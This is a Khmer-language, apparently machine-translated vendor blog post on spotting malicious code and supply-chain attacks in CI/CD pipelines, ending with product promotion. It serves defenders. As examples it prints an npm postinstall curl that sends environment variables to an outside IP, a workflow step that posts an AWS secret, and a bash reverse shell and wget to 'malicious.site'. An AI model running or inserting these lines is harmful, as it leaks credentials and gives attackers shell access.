តើ​ខាងក្រោម​មួយណា​ដែលអាចបង្ហាញពីការវាយប្រហារដោយកូដព្យាបាទ - តើកូដព្យាបាទអាចរីករាលដាលយ៉ាងដូចម្តេច?

តើ​ចំណុច​ណា​ខាងក្រោម​ដែល​អាច​បង្ហាញ​ពី​ការ​វាយប្រហារ​ដោយ​កូដ​ព្យាបាទ?

ប្រសិនបើអ្នកធ្វើការនៅក្នុង CI/CD pipelineក្នុងការសរសេរស្គ្រីបស្វ័យប្រវត្តិកម្ម ឬការធានាសុវត្ថិភាពប្រព័ន្ធសាងសង់ទំនើបៗ ការរកឃើញកូដព្យាបាទមិនមែនជាជម្រើសទេ។ វាជាបេសកកម្មដ៏សំខាន់។ ការវាយប្រហារកូដព្យាបាទមិនត្រឹមតែកេងប្រវ័ញ្ចពេលវេលាដំណើរការរបស់អ្នកប៉ុណ្ណោះទេ ពួកវាធ្វើឱ្យជំហានសាងសង់ កញ្ចប់ភាគីទីបី និងការងារស្វ័យប្រវត្តិកម្មដែលអ្នកពឹងផ្អែកជារៀងរាល់ថ្ងៃក្លាយជាអាវុធ។

អត្ថបទនេះស្វែងយល់ពីឥរិយាបថណាខ្លះដែលអាចបង្ហាញពីការវាយប្រហារកូដព្យាបាទ និងរបៀបដែលកូដព្យាបាទអាចរីករាលដាល ជាពិសេសនៅក្នុង CI/CD បរិស្ថាន។ វាត្រូវបានរចនាឡើងសម្រាប់អ្នកអភិវឌ្ឍន៍ និងក្រុម DevSecOps ដែលទទួលខុសត្រូវចំពោះខ្សែសង្វាក់ផ្គត់ផ្គង់កម្មវិធី ស្វ័យប្រវត្តិកម្មក្នុងការបង្កើត និងដំណើរការការងារដាក់ពង្រាយដែលមានសុវត្ថិភាព។ តាមរយៈការយល់ដឹងអំពីសូចនាករ និងវ៉ិចទ័រវាយប្រហារទាំងនេះ ក្រុមនានាអាចរកឃើញការគំរាមកំហែង និងពង្រឹងសមត្ថភាពរបស់ពួកគេបានកាន់តែប្រសើរឡើង។ pipelineប្រឆាំងនឹងការសម្របសម្រួល។

អ្នកនឹងរៀន របៀបដែលអ្នកវាយប្រហារបង្កប់ការគំរាមកំហែងទៅក្នុងរបស់អ្នក pipelinesរោគសញ្ញាអ្វីខ្លះដែលត្រូវប្រុងប្រយ័ត្ន និងរបៀបដែលកូដព្យាបាទអាចរីករាលដាលដោយស្ងៀមស្ងាត់តាមរយៈកិច្ចការធម្មតាដូចជាការដំឡើងការពឹងផ្អែក និងស្វ័យប្រវត្តិកម្មលំហូរការងារ។ ចូរយើងបំបែកសញ្ញា ចាប់ពីចរាចរណ៍ចេញដែលមិននឹកស្មានដល់រហូតដល់ PR ក្លែងក្លាយដែលរំខានដល់ការងារ CI ដូច្នេះអ្នកអាចរកឃើញ និងបន្សាបការគំរាមកំហែងមុនពេលពួកវាឈានដល់ផលិតកម្ម។

តើការវាយប្រហារដោយកូដព្យាបាទជាអ្វី?

ការវាយប្រហារកូដព្យាបាទ គឺនៅពេលដែលកូដដែលបង្កគ្រោះថ្នាក់ត្រូវបានប្រតិបត្តិនៅក្នុងកម្មវិធីរបស់អ្នក ដែលបង្កើត pipelineឬបរិស្ថានពេលដំណើរការ។ យើងកំពុងនិយាយអំពីតក្កវិជ្ជាដែលសរសេរជាពិសេសទៅកាន់៖

  • លួចយកអាថ៌កំបាំងដូចជាសោ API និងព័ត៌មានសម្ងាត់
  • រំខានជាមួយ builds ឬរុញ artifacts ដែលឆ្លងមេរោគ
  • សែលបើកចំហ ឬទិន្នន័យចម្រោះ

កូដព្យាបាទមិនមែនគ្រាន់តែជាកំហុសឆ្គងនោះទេ។ វាបង្កឡើងដោយចេតនា។ ហើយវាជារឿយៗរស់នៅក្នុងឧបករណ៍ធម្មតារបស់អ្នក៖ ការពឹងផ្អែក ការងារ CI និងស្គ្រីបដំឡើង។

ហេតុអ្វីបានជាអ្នកអភិវឌ្ឍន៍គួរយកចិត្តទុកដាក់? ពីព្រោះការគំរាមកំហែងមិនតែងតែមកពីអ្នកវាយប្រហារខាងក្រៅដែលវាយប្រហារ APIs របស់អ្នកនោះទេ។ កូដព្យាបាទបង្កប់ខ្លួនវានៅក្នុងលំហូរការងារដែលអ្នកដំណើរការជារៀងរាល់ថ្ងៃ ដូចជាការដំឡើង npm ឬការបង្កើត Docker។ នេះជារបៀបដែលកូដព្យាបាទអាចរីករាលដាលនៅក្នុងការរៀបចំពិភពពិត។

តើ​ចំណុច​ណា​ខាងក្រោម​ដែល​អាច​បង្ហាញ​ពី​ការ​វាយប្រហារ​ដោយ​កូដ​ព្យាបាទ? សញ្ញា​ជាក់ស្តែង​សម្រាប់​អ្នក​អភិវឌ្ឍន៍

ប្រសិនបើអ្នកកំពុងឆ្ងល់ថាមួយណាខាងក្រោមដែលអាចបង្ហាញពីការវាយប្រហារកូដព្យាបាទ ចម្លើយចាប់ផ្តើមដោយឥរិយាបថដែលអាចសង្កេតឃើញ៖

សូចនាករ (រោគសញ្ញា)ឧទាហរណ៍ដើមហេតុវាយបញ្ចូល
ចរាចរណ៍ចេញដែលមិននឹកស្មានដល់ពីការសាងសង់curl -X POST http://198.51.100.42 -d "$(env)" នៅក្នុងស្គ្រីបក្រោយការដំឡើងកញ្ចប់ npm ព្យាបាទសូចនាករពិត
ឯកសារដែលបានកែប្រែ ឬបិទបាំងនៅក្នុងឃ្លាំងប្រភពBase64 ដែល​បាន​បិទបាំង​ក្នុង .github/workflows/build.ymlការសម្របសម្រួលខ្សែសង្វាក់ផ្គត់ផ្គង់សូចនាករពិត
អាថ៌កំបាំងដែលចូលមើលដោយការងារដែលមិននឹកស្មានដល់ការងារ CI ដែលមិនត្រូវបានអនុម័តដោយប្រើប្រាស់ ${{ secrets.AWS_SECRET_KEY }}ការកំណត់រចនាសម្ព័ន្ធ IAM មិនត្រឹមត្រូវ ឬការចាក់បញ្ចូលសូចនាករពិត
បញ្ច្រាសដំណើរការសែល ឬ wget នៅក្នុងការសាងសង់bash -i >& /dev/tcp/... shellcode នៅក្នុងជំហាន CIមានការក្លែងបន្លំ pipeline ស្គ្រីបសូចនាករពិត
កញ្ចប់ Typosquatted ជាមួយស្គ្រីបដំឡើងlodashs or react-core-js ដំណើរការលេខកូដដែលមិននឹកស្មានដល់ភាពច្របូកច្របល់នៃភាពអាស្រ័យសូចនាករពិត
បានដោះសោ CI/CD សិទ្ធិការងារទាំងអស់អាចចូលមើលអាថ៌កំបាំងទាំងអស់ការកំណត់រចនាសម្ព័ន្ធលំនាំដើមខ្សោយការអនុវត្តមិនល្អ (មិនមែនជាសញ្ញា)
កង្វះការត្រួតពិនិត្យភាពត្រឹមត្រូវនៃឯកសារគ្មានការជូនដំណឹងនៅពេលការកំណត់រចនាសម្ព័ន្ធផ្លាស់ប្តូរទេគ្មានការត្រួតពិនិត្យការអនុវត្តមិនល្អ (មិនមែនជាសញ្ញា)

ចរាចរណ៍បណ្តាញចេញដែលមិននឹកស្មានដល់ពី Build Pipelines

រោគសញ្ញា: ការងារ CI របស់អ្នកស្រាប់តែទាក់ទងទៅកាន់ IP ឬដែនខាងក្រៅដែលមិនស្គាល់។
ឧទាហរណ៍ ៖ ស្គ្រីបក្រោយការដំឡើងដែលរងការសម្របសម្រួលប្រើ curl ដើម្បីផ្ញើអថេរបរិស្ថានទៅ 198.51.100.42។

				
					{
  "scripts": {
    "postinstall": "curl -X POST http://198.51.100.42 -d \"$(env)\""
  }
}

				
			

ដើមហេតុ: ការពឹងផ្អែក npm ព្យាបាទត្រូវបានបន្ថែមទៅ package.json ឬស្គ្រីប CI ដែលបានកែប្រែ។
ប្រភេទ: សូចនាករពិត
វិធីទប់ស្កាត់៖

  • រារាំងចរាចរណ៍ចេញតាមលំនាំដើមនៅក្នុង CI runners របស់អ្នក (ឧទាហរណ៍ ប្រើច្បាប់ជញ្ជាំងភ្លើង ឬគោលការណ៍ចេញដែលបដិសេធតាមលំនាំដើម)

  • បន្ថែមគោលការណ៍បណ្តាញដើម្បីអនុញ្ញាតឱ្យចូលប្រើដែនជាក់លាក់តែប៉ុណ្ណោះ៖

				
					jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Allowlist specific domains
        run: iptables -A OUTPUT -p tcp -d github.com -j ACCEPT
				
			

ឯកសារដែលបានកែប្រែ ឬមិនបានរំពឹងទុកនៅក្នុង Source Repos

រោគសញ្ញា: ឯកសារ ឬស្គ្រីបថ្មីៗបង្ហាញនៅក្នុងការគ្រប់គ្រងប្រភពដោយគ្មានការពន្យល់ច្បាស់លាស់។
ឧទាហរណ៍ ៖ បន្ទុកទិន្នន័យ Base64 ដែលមានភាពច្របូកច្របល់ត្រូវបានទម្លាក់ចូលទៅក្នុង package-lock.json ឬ .github/workflows/build.yml

				
					jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Unauthorized secret access
        run: echo ${{ secrets.AWS_SECRET_KEY }} | curl -X POST http://198.51.100.99
				
			

ដើមហេតុ: ការសម្របសម្រួលខ្សែសង្វាក់ផ្គត់ផ្គង់តាមរយៈ PR ដែលមានគំនិតអាក្រក់ ឬការពឹងផ្អែកដែលត្រូវបានក្លែងបន្លំ។
ប្រភេទ: សូចនាករពិត
វិធីទប់ស្កាត់៖

  • ប្រើការត្រួតពិនិត្យភាពត្រឹមត្រូវនៃឯកសារដោយស្វ័យប្រវត្តិ (ឧ. Tripwire ឬ Git) hooks ជាមួយនឹងការត្រួតពិនិត្យ checksum)

  • អនុវត្តការពិនិត្យឡើងវិញដោយដៃលើលំហូរការងារ និងចាក់សោការផ្លាស់ប្តូរឯកសារដោយប្រើ GitHub CODEOWNERS៖

				
					.github/workflows/*  @security-team
package-lock.json     @devops-lead
				
			
  • ផ្ទៀងផ្ទាត់ checksum នៃការពឹងផ្អែកដែលបានធ្វើបច្ចុប្បន្នភាព

គំរូប្រើប្រាស់ព័ត៌មានសម្គាល់មិនធម្មតា

រោគសញ្ញា: អាថ៌កំបាំងកំពុងត្រូវបានចូលប្រើដោយអ្នកប្រើប្រាស់ សេវាកម្ម ឬដំណាក់កាលដែលមិននឹកស្មានដល់នៅក្នុងរបស់អ្នក pipeline.
ឧទាហរណ៍ ៖ កំណត់ហេតុ​កម្មវិធី​គ្រប់គ្រង​សម្ងាត់​បង្ហាញ​ការចូលប្រើប្រាស់​ពីការងារ​ដែលមិនគួរមានសិទ្ធិចូលប្រើប្រាស់។

				
					jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Unauthorized secret access
        run: echo ${{ secrets.AWS_SECRET_KEY }} | curl -X POST http://198.51.100.99
				
			
  • ដើមហេតុ: គោលការណ៍ IAM ដែលត្រូវបានកំណត់រចនាសម្ព័ន្ធមិនត្រឹមត្រូវ ព័ត៌មានសម្ងាត់ដែលលេចធ្លាយ ឬការចាក់ការងារ CI។
    ប្រភេទ: សូចនាករពិត
    វិធីទប់ស្កាត់៖

    • អនុវត្តសិទ្ធិចូលប្រើតិចបំផុតនៅក្នុងគោលការណ៍ចូលប្រើ (ឧទាហរណ៍ ការងារមួយ = សម្ងាត់មួយ)

    • តាមដាន​កំណត់ហេតុ​ចូលប្រើ​ព័ត៌មានសម្ងាត់ និង​រៀបចំ​ការជូនដំណឹង​សម្រាប់​ការប្រើប្រាស់​មិនប្រក្រតី

    • ប្រើប្រាស់ច្បាប់ការពារបរិស្ថាន GitHub និងអាថ៌កំបាំងដែលមានវិសាលភាព៖

				
					environments:
  production:
    protection_rules:
      required_reviewers:
        - security-team
				
			
  • ផ្ទៀងផ្ទាត់ឥរិយាបថការងារដែលរំពឹងទុកដោយប្រើការត្រួតពិនិត្យគោលការណ៍ដោយស្វ័យប្រវត្តិ (ឧ. OPA/Gatekeeper)

ការអនុវត្តដំណើរការមិនប្រក្រតីនៅក្នុង CI/CD ឬពេលដំណើរការ

រោគសញ្ញា: កម្មវិធី​ដែល​បង្កើត ឬ​ដាក់​ពង្រាយ​ចាប់ផ្តើម​ដំណើរការ​ដែល​មិន​បាន​រំពឹង​ទុក។
ឧទាហរណ៍ ៖ bash -c \"wget http://malicious.site/payload.sh\" លេចឡើងកំឡុងពេលសាងសង់។

				
					steps:
  - name: Suspicious shell execution
    run: bash -i >& /dev/tcp/malicious.site/4444 0>&1
				
			
  • ដើមហេតុ: ស្គ្រីបដែលបានចាក់ចូល សែលបញ្ច្រាស ឬត្រូវបានកែប្រែ pipeline ជំហាន។
    ប្រភេទ: សូចនាករពិត
    វិធីទប់ស្កាត់៖

    • ប្រើបញ្ជីអនុញ្ញាតសម្រាប់ពាក្យបញ្ជា (ឧ. កំណត់ចំពោះឧបករណ៍បង្កើតដែលត្រូវបានអនុម័តតែប៉ុណ្ណោះ)

    • ចាក់សោសមត្ថភាពដំណើរការនៅក្នុង CI ដោយដំណើរការការងារនៅក្នុងកុងតឺន័រអប្បបរមា៖

				
					jobs:
  build:
    container:
      image: secure-ci-image:latest
      options: --cap-drop=ALL --no-new-privileges
				
			
  • ស្កេនរកការប្រើប្រាស់សែល និងគំរូមិនល្អដែលគេស្គាល់ដោយប្រើ linters ដែលរួមបញ្ចូល CI និង SAST

ការពឹងផ្អែកដែលសម្របសម្រួលកំពុងប្រតិបត្តិកូដព្យាបាទ

រោគសញ្ញា: ដំឡើងស្គ្រីប ឬអាប់ដេត ដំណើរការកូដដែលគ្មានការអនុញ្ញាតដោយគ្មានចេតនារបស់អ្នក។
ឧទាហរណ៍ ៖ កញ្ចប់​ដែល​មាន​កំហុស​វាយអក្សរ​ដូចជា lodashs or react-core-js ដំណើរការ​ទំពក់​ដំឡើង​ជាមុន​ដែល​មាន​គំនិត​អាក្រក់។
ដើមហេតុ: ការភាន់ច្រឡំ​នៃ​ការពឹងផ្អែក ឬការប្រើប្រាស់​បញ្ជីឈ្មោះ​ដែលមិនគួរឱ្យទុកចិត្ត។
ប្រភេទ: សូចនាករពិត
វិធីទប់ស្កាត់៖

  • ចាក់សោភាពអាស្រ័យជាមួយ SBOM ការផ្ទៀងផ្ទាត់ និងការភ្ជាប់ហាស៖

				
					npm ci --prefer-offline --no-audit --ignore-scripts
				
			
  • ការប្រើ .npmrc or .yarnrc.yml ដើម្បី​ដាក់​បញ្ជី​ឈ្មោះ​ដែល​ត្រូវ​បាន​អនុម័ត​ក្នុង​បញ្ជី​ស៖

				
					registry=https://registry.npmjs.org/
always-auth=true
				
			
  • ត្រួតពិនិត្យកញ្ចប់ជាបន្តបន្ទាប់ដោយប្រើ SCA ឧបករណ៍ដូចជា Xygeni, OSV-Scanner ឬ Dependabot

ស្វែងយល់ពីការការពារមេរោគប្រភពបើកចំហដ៏ល្អបំផុត

ការពារកម្មវិធីប្រភពបើកចំហរបស់អ្នកពីការគំរាមកំហែងដែលកំពុងលេចចេញ!

អានពាក់ព័ន្ធ៖

តើកូដព្យាបាទអាចរីករាលដាលនៅក្នុងលំហូរការងាររបស់អ្នកអភិវឌ្ឍន៍យ៉ាងដូចម្តេច?

ការយល់ដឹងពីរបៀបដែលកូដព្យាបាទអាចរីករាលដាលជួយអ្នកកាត់វាចេញមុនពេលវាឈានដល់ការផលិត៖

  • កញ្ចប់ប្រភពបើកចំហដែលរងការគំរាមកំហែង (ឧទាហរណ៍ ម៉ូឌុល npm/PyPI ដែលឆ្លងមេរោគ)
  • ព្យាបាទ pull requests ជាមួយ​នឹង​បន្ទុក​ដែល​លាក់​នៅ​ក្នុង​លំហូរ​ការងារ
  • CI/CD ការកំណត់រចនាសម្ព័ន្ធមិនត្រឹមត្រូវ (ឧទាហរណ៍ PR ដែលមិនបានផ្ទៀងផ្ទាត់កំពុងអនុវត្តការងារ)
  • ការគំរាមកំហែងពីខាងក្នុងកំពុងបង្កប់នូវទ្វារក្រោយក្នុងអំឡុងពេលនៃការអភិវឌ្ឍធម្មតា

ទាំងនេះគឺជាវ៉ិចទ័រទាំងអស់ដែលបង្ហាញពីរបៀបដែលកូដព្យាបាទអាចរីករាលដាលដោយមិនបង្កឱ្យមានការជូនដំណឹងបែបប្រពៃណី។

របៀបរកឃើញ និងការពារកូដព្យាបាទនៅក្នុង Pipelines និងមូលដ្ឋានកូដ

បញ្ជីត្រួតពិនិត្យការរកឃើញរហ័សសម្រាប់សូចនាករកូដព្យាបាទ

ឥរិយាបថឧបករណ៍ចាប់សញ្ញាCI/CD Tip
សំណើ​បណ្ដាញ​ដែល​មិន​បាន​រំពឹង​ទុកការត្រួតពិនិត្យអាកប្បកិរិយា កំណត់ហេតុចាកចេញបដិសេធ IP ក្នុងបញ្ជី, សវនកម្មការប្រើប្រាស់ curl/wget
ការក្លែងបន្លំឯកសារ YAML ឬចាក់សោការតាមដានភាពសុចរិតនៃឯកសារ, ភាពខុសគ្នារបស់ Gitអនុវត្ត CODEOWNERS ជូនដំណឹងអំពីការផ្លាស់ប្តូរឯកសារសំខាន់ៗ
ការចូលប្រើសម្ងាត់មិនធម្មតាកំណត់ហេតុចូលប្រើសម្ងាត់ ការជូនដំណឹង IAMប្រើអាថ៌កំបាំងដែលមានវិសាលភាព អនុវត្តសិទ្ធិតិចតួចបំផុត
ការប្រតិបត្តិសែល ឬបញ្ច្រាសសែលSASTការស្កេនបញ្ជីអនុញ្ញាតដាក់កម្រិតការប្រើប្រាស់សែលនៅក្នុងស្គ្រីបសាងសង់
ការពឹងផ្អែកគួរឱ្យសង្ស័យSCA, SBOM validationប្រើហាសដែលបានចាក់សោ និងបញ្ជីឈ្មោះដែលទុកចិត្ត

កុំរង់ចាំការជូនដំណឹងអំពីផលិតកម្ម។ នេះជារបៀបដែលអ្នកអភិវឌ្ឍន៍ និងក្រុម DevSecOps អាចរកឃើញការវាយប្រហារកូដព្យាបាទបានយ៉ាងសកម្ម៖

  • ការត្រួតពិនិត្យឥរិយាបថ៖ ចាប់​យក​ការ​ប្រតិបត្តិ​ដំណើរការ​មិន​ប្រក្រតី ការ​ហៅ​ទូរសព្ទ​តាម​បណ្តាញ ឬ​ដាក់​ឯកសារ​ការ​ផ្លាស់ប្ដូរ CI/CD.
  • ការគ្រប់គ្រងការពឹងផ្អែក៖ ការប្រើ SBOMs និងបញ្ជីអនុញ្ញាតយ៉ាងតឹងរ៉ឹង ដើម្បីរារាំងបណ្ណាល័យដែលមិនបានផ្ទៀងផ្ទាត់។
  • ការតាមដានសុចរិតភាពឯកសារ៖ រកឃើញស្គ្រីប ឬការផ្លាស់ប្តូរឯកសារកំណត់រចនាសម្ព័ន្ធដែលគ្មានការអនុញ្ញាត។
  • ការរឹតត្បិតការចេញចូល៖ ទប់ស្កាត់ការលួចចូលទិន្នន័យក្នុងពេលសាងសង់ដោយវិភាគ និងទប់ស្កាត់ចរាចរណ៍ចេញ។
  • ការវិភាគឋិតិវន្ត និងថាមវន្ត៖ ត្រួតពិនិត្យដោយស្វ័យប្រវត្តិនូវតក្កវិជ្ជាគួរឱ្យសង្ស័យ ការហៅសែល ឬការអ៊ិនកូដនៅក្នុងរបស់អ្នក pipelines.

កាន់តែពិសេស៖

  • ការធ្វើតេស្តសុវត្ថិភាពកម្មវិធីឋិតិវន្ត (SAST): អាចរកឃើញតក្កវិជ្ជាព្យាបាទ ឬកូដដែលលាក់បាំង (ឧទាហរណ៍ base64 ដែលលាក់ ការហៅសែលគួរឱ្យសង្ស័យ) មុនពេលវាត្រូវបានប្រតិបត្តិ។ ការរួមបញ្ចូល SAST ឧបករណ៍ចូលទៅក្នុងរបស់អ្នក CI/CD លំហូរការងារជួយសម្គាល់គំរូដែលមានហានិភ័យខ្ពស់នៅក្នុង pull requests និង commits.
  • ការវិភាគសមាសភាពកម្មវិធី (SCA): កំណត់អត្តសញ្ញាណកញ្ចប់ងាយរងគ្រោះ ឬកញ្ចប់ព្យាបាទដែលគេស្គាល់ក្នុងអំឡុងពេលដំណើរការដោះស្រាយភាពអាស្រ័យ។ SCA ឧបករណ៍ជួយអ្នកទប់ស្កាត់កញ្ចប់ដែលមានកំហុសវាយអក្សរ ឬមានទ្វារក្រោយៗទៀតនៅពេលដំឡើង មុនពេលពួកវាចូលទៅក្នុងបរិស្ថានរបស់អ្នក។

ទាំងអស់នេះជួយឆ្លើយសំណួរ៖ មួយណាខាងក្រោមនេះដែលអាចបង្ហាញពីការវាយប្រហារកូដព្យាបាទ ហើយមួយណាគ្រាន់តែជាសំឡេងចម្លែក។

អ្នកអភិវឌ្ឍន៍គួររៀនពីឧប្បត្តិហេតុក្នុងពិភពពិត

អ្នកមិនត្រូវការសម្មតិកម្មទេ; ការវាយប្រហារកូដព្យាបាទទាំងនេះបានកើតឡើងរួចហើយ ហើយការវាយប្រហារនីមួយៗផ្តល់នូវមេរៀនសំខាន់ៗ៖

  • ម៉ៃក្រូសូហ្វ, អេបផល៖ រងផលប៉ះពាល់ដោយការភាន់ច្រឡំអំពីការពឹងផ្អែក ត្រូវបានបោកបញ្ឆោតឱ្យទាញយកកញ្ចប់ផ្ទៃក្នុងពីការចុះឈ្មោះសាធារណៈ។
    យក​ទៅ​ឆ្ងាយ: ប្រើប្រាស់បញ្ជីឈ្មោះឯកជន និងកំណត់រចនាសម្ព័ន្ធដំណោះស្រាយកញ្ចប់ដែលមានវិសាលភាព ដើម្បីការពារការភាន់ច្រឡំនៃការពឹងផ្អែក។
  • ua-parser-js៖ កញ្ចប់ npm ដ៏ពេញនិយមត្រូវបានលួចចូលដើម្បីដាក់ពង្រាយអ្នករុករករ៉ែគ្រីបតូ។
    យក​ទៅ​ឆ្ងាយ: ការប្រើ SBOM ការផ្ទៀងផ្ទាត់ និងការភ្ជាប់ CI ដើម្បីជៀសវាងការអាប់ដេតកញ្ចប់ដែលមិនបានផ្ទៀងផ្ទាត់។
  • ការវាយអក្សរលើ PyPI៖ កញ្ចប់ព្យាបាទដែលមានឈ្មោះដូចកញ្ចប់ពិត (ឧ. urlib3) ដើម្បីផ្សព្វផ្សាយព័ត៌មានលួចចម្លង។
    យក​ទៅ​ឆ្ងាយ: បញ្ចូល SCA ឧបករណ៍​ដើម្បី​រក​ឃើញ​កញ្ចប់​ដែល​មាន​ឈ្មោះ​ស្រដៀង​គ្នា និង​ផ្ទៀងផ្ទាត់​ភាព​អាស្រ័យ​មុន​ពេល​ដំឡើង។
  • ទំនាក់ទំនងសាធារណៈ GitHub៖ អ្នកវាយប្រហារបានដាក់ស្នើ PR ដែលបានកែប្រែដំណើរការការងារ CI ដោយស្ងាត់ៗទៅ leak secrets.
    យក​ទៅ​ឆ្ងាយ: អនុវត្តការពិនិត្យឡើងវិញ PR យ៉ាងតឹងរ៉ឹងសម្រាប់ឯកសារលំហូរការងារ និងប្រើប្រាស់ម្ចាស់កូដសម្រាប់ការផ្លាស់ប្តូរការកំណត់រចនាសម្ព័ន្ធ CI។

ករណីនីមួយៗបង្ហាញពីរបៀបដែលកូដព្យាបាទអាចរីករាលដាលនៅក្នុងបរិយាកាសអភិវឌ្ឍន៍មុនពេលឈានដល់ផលិតកម្ម ហើយគូសបញ្ជាក់ពីការអនុវត្តដែលអាចអនុវត្តបានដើម្បីបញ្ឈប់ពួកវាតាំងពីដំបូង។

សេចក្តីសន្និដ្ឋាន៖ អ្នកអភិវឌ្ឍន៍គ្រប់គ្រងជួរមុខប្រឆាំងនឹងកូដព្យាបាទ

ការវាយប្រហារកូដដែលមានគំនិតអាក្រក់មិនតែងតែមានន័យថាជាការរំលោភពីខាងក្រៅនោះទេ។ ពេលខ្លះ អ្នកវាយប្រហារកំពុងលាក់ខ្លួននៅក្នុង... nម៉ូឌុល_ode, របស់អ្នក កញ្ចប់-lock.json, ឬរបស់អ្នក ឯកសារ .github/workflows។

ក្នុងចំណោម​ខាងក្រោម​មួយណា​ដែលអាចបង្ហាញពីការវាយប្រហារ​ដោយ​កូដ​ព្យាបាទ? ចម្លើយ​ស្ថិតនៅលើសញ្ញាប្រចាំថ្ងៃដែលកូដ និងឧបករណ៍របស់អ្នកបញ្ចេញ។

ធ្វើជាម្ចាស់របស់អ្នក។ CI/CD។ ប្រយ័ត្ន​ចំពោះ​ការ​ពឹងផ្អែក​របស់​អ្នក។ សម្គាល់​ឥរិយាបថ​ចម្លែកៗ។ កាលណា​អ្នក​រកឃើញ​កាន់តែ​ឆាប់ វា​កាន់តែ​រាលដាល​តិច

របៀបដែល Xygeni ជួយរកឃើញ និងរារាំងការវាយប្រហារកូដព្យាបាទនៅទូទាំង DevOps

នៅពេលដែលមេរោគរីករាលដាលតាមរយៈខ្សែសង្វាក់ផ្គត់ផ្គង់កម្មវិធីរបស់អ្នក ជារឿយៗវាយឺតពេលហើយនៅពេលដែលវាឈានដល់ការផលិត។ នោះហើយជាមូលហេតុដែលការរកឃើញដោយស្វ័យប្រវត្តិតាំងពីដំបូងគឺមានសារៈសំខាន់។ របស់ Xygeni ប្រព័ន្ធព្រមានជាមុន ត្រូវបានរចនាឡើងដើម្បីចាប់កញ្ចប់ព្យាបាទមុនពេលពួកវាអាចឆ្លងទៅមូលដ្ឋានកូដរបស់អ្នក CI/CD pipelines ឬបរិស្ថានពពក។

នេះជារបៀប ស៊ីហ្គេនី ពង្រឹងការការពាររបស់អ្នក៖

ការព្រមានជាមុនតាមពេលវេលាជាក់ស្តែងប្រឆាំងនឹងមេរោគ Zero-Day

មិនដូចម៉ាស៊ីនស្កេនបែបប្រពៃណីដែលពឹងផ្អែកទាំងស្រុងលើ CVE នោះទេ Xygeni តាមដានជាបន្តបន្ទាប់នូវការចុះឈ្មោះសាធារណៈដូចជា npm, PyPI, Maven និង NuGet សម្រាប់ឥរិយាបថគួរឱ្យសង្ស័យ និងភាពមិនប្រក្រតីនៃទិន្នន័យមេតា។ ដរាបណាកញ្ចប់មួយបង្ហាញសញ្ញានៃសកម្មភាពព្យាបាទ វាត្រូវបានសម្គាល់ ត្រូវបានដាក់ឱ្យនៅដាច់ដោយឡែក និងរារាំងមិនឱ្យចូលទៅក្នុង... SDLC.

  • រកឃើញមេរោគនៅពេលបោះពុម្ពផ្សាយ
  • រារាំងដោយស្វ័យប្រវត្តិនូវបន្ទុកទិន្នន័យសូន្យថ្ងៃ និងការដំឡើងគួរឱ្យសង្ស័យ hooks
  • ផ្ញើការជូនដំណឹងតាមពេលវេលាជាក់ស្តែងទៅកាន់ក្រុម DevOps សម្រាប់ការជ្រើសរើសរហ័ស

ការការពារមេរោគត្រូវបានបង្កប់នៅក្នុងដំណាក់កាល DevOps នីមួយៗ

មិនថាវាជាកូដដែលបិទបាំងនៅក្នុងស្គ្រីបក្រោយការដំឡើង កម្មវិធីលួចយកគ្រីបតូដែលលាក់នៅក្នុងភាពអាស្រ័យអន្តរកាល ឬរូបភាពកុងតឺន័រដែលមានមេរោគ Trojan នោះទេ Xygeni អនុវត្តការរកឃើញមេរោគច្រើនស្រទាប់នៅទូទាំងកូដ ភាពអាស្រ័យ។ CI/CDនិង IaC:

  • ការវិភាគឋិតិវន្តដែលសម្គាល់ backdoor, trojans និង payloads ដែលលាក់កំបាំងមុនពេលដាក់ពង្រាយ
  • ជញ្ជាំងភ្លើង Dependency ដែលរារាំងកញ្ចប់ Trojanized ជាមួយស្គ្រីបដំឡើងព្យាបាទ
  • CI/CD ការការពារដែលការពារការបាញ់បញ្ច្រាស និងការចាក់បញ្ចូលតាមបញ្ជានៅក្នុងរបស់អ្នក pipelines.

Guardrails និងការដាក់ឱ្យនៅដាច់ដោយឡែកដើម្បីបញ្ឈប់ការរីករាលដាល

Xygeni មិនត្រឹមតែរកឃើញមេរោគប៉ុណ្ណោះទេ ថែមទាំងបញ្ឈប់វាទៀតផង។ នៅពេលដែលកញ្ចប់ដែលរងការសម្របសម្រួលត្រូវបានរកឃើញ៖

  • វាត្រូវបានដាក់ឱ្យនៅដាច់ដោយឡែកភ្លាមៗ ដើម្បីជៀសវាងការចម្លងរោគក្នុងពេលសាងសង់
  • ដែន pipelines អាចបំបែកការសាងសង់ដោយស្វ័យប្រវត្តិដោយប្រើគោលការណ៍សុវត្ថិភាពដែលអាចកំណត់រចនាសម្ព័ន្ធបានរបស់ Xygeni
  • កំណែដែលរងផលប៉ះពាល់ត្រូវបានដាក់ក្នុងបញ្ជីខ្មៅ សូម្បីតែពីការចុះឈ្មោះផ្ទៃក្នុង ឬឯកជនក៏ដោយ។

ស៊ើបអង្កេត និងទទួលបានព័ត៌មានថ្មីៗ

Xygeni ផ្តល់នូវផ្លូវសវនកម្មពេញលេញ និងការរកមើលប្រវត្តិនៃកញ្ចប់ព្យាបាទ។ អ្នកនឹងដឹង៖

  • នៅពេលដែលការគំរាមកំហែងត្រូវបានផ្សព្វផ្សាយ
  • របៀបដែលវាត្រូវបានរកឃើញ
  • ថាតើវាបានទៅដល់ផ្នែកណាមួយនៃប្រព័ន្ធរបស់អ្នកដែរឬទេ

លើសពីនេះ ការគំរាមកំហែងដែលបានបញ្ជាក់ត្រូវបានបង្ហាញជាសាធារណៈ ដើម្បីការពារសហគមន៍ប្រភពបើកចំហរកាន់តែទូលំទូលាយ និងការពារមេរោគពីការលេចចេញជាថ្មីនៅក្នុងកញ្ចប់ដែលបានប្តូរឈ្មោះ ឬបំបែក។

កុំ​ឲ្យ​មេរោគ​លួច​ចូល​ក្នុង​ចន្លោះ​ប្រហោង​ឲ្យ​សោះ

ពីអ្នកជីកយករ៉ែគ្រីបតូដែលលួចលាក់ រហូតដល់អ្នកលួចព័ត៌មានដែលវាយអក្សរខុស ការវាយប្រហារកូដព្យាបាទកំពុងវិវឌ្ឍយ៉ាងឆាប់រហ័សប្រព័ន្ធព្រមានមុនរបស់ Xygeni ធានាថាមេរោគមិនដែលហួសពីដំណាក់កាលអភិវឌ្ឍន៍ សាងសង់ ឬដាក់ពង្រាយរបស់អ្នកឡើយ ហើយក្រុមរបស់អ្នកត្រូវបានជូនដំណឹង និងការពារក្នុងពេលវេលាជាក់ស្តែង។

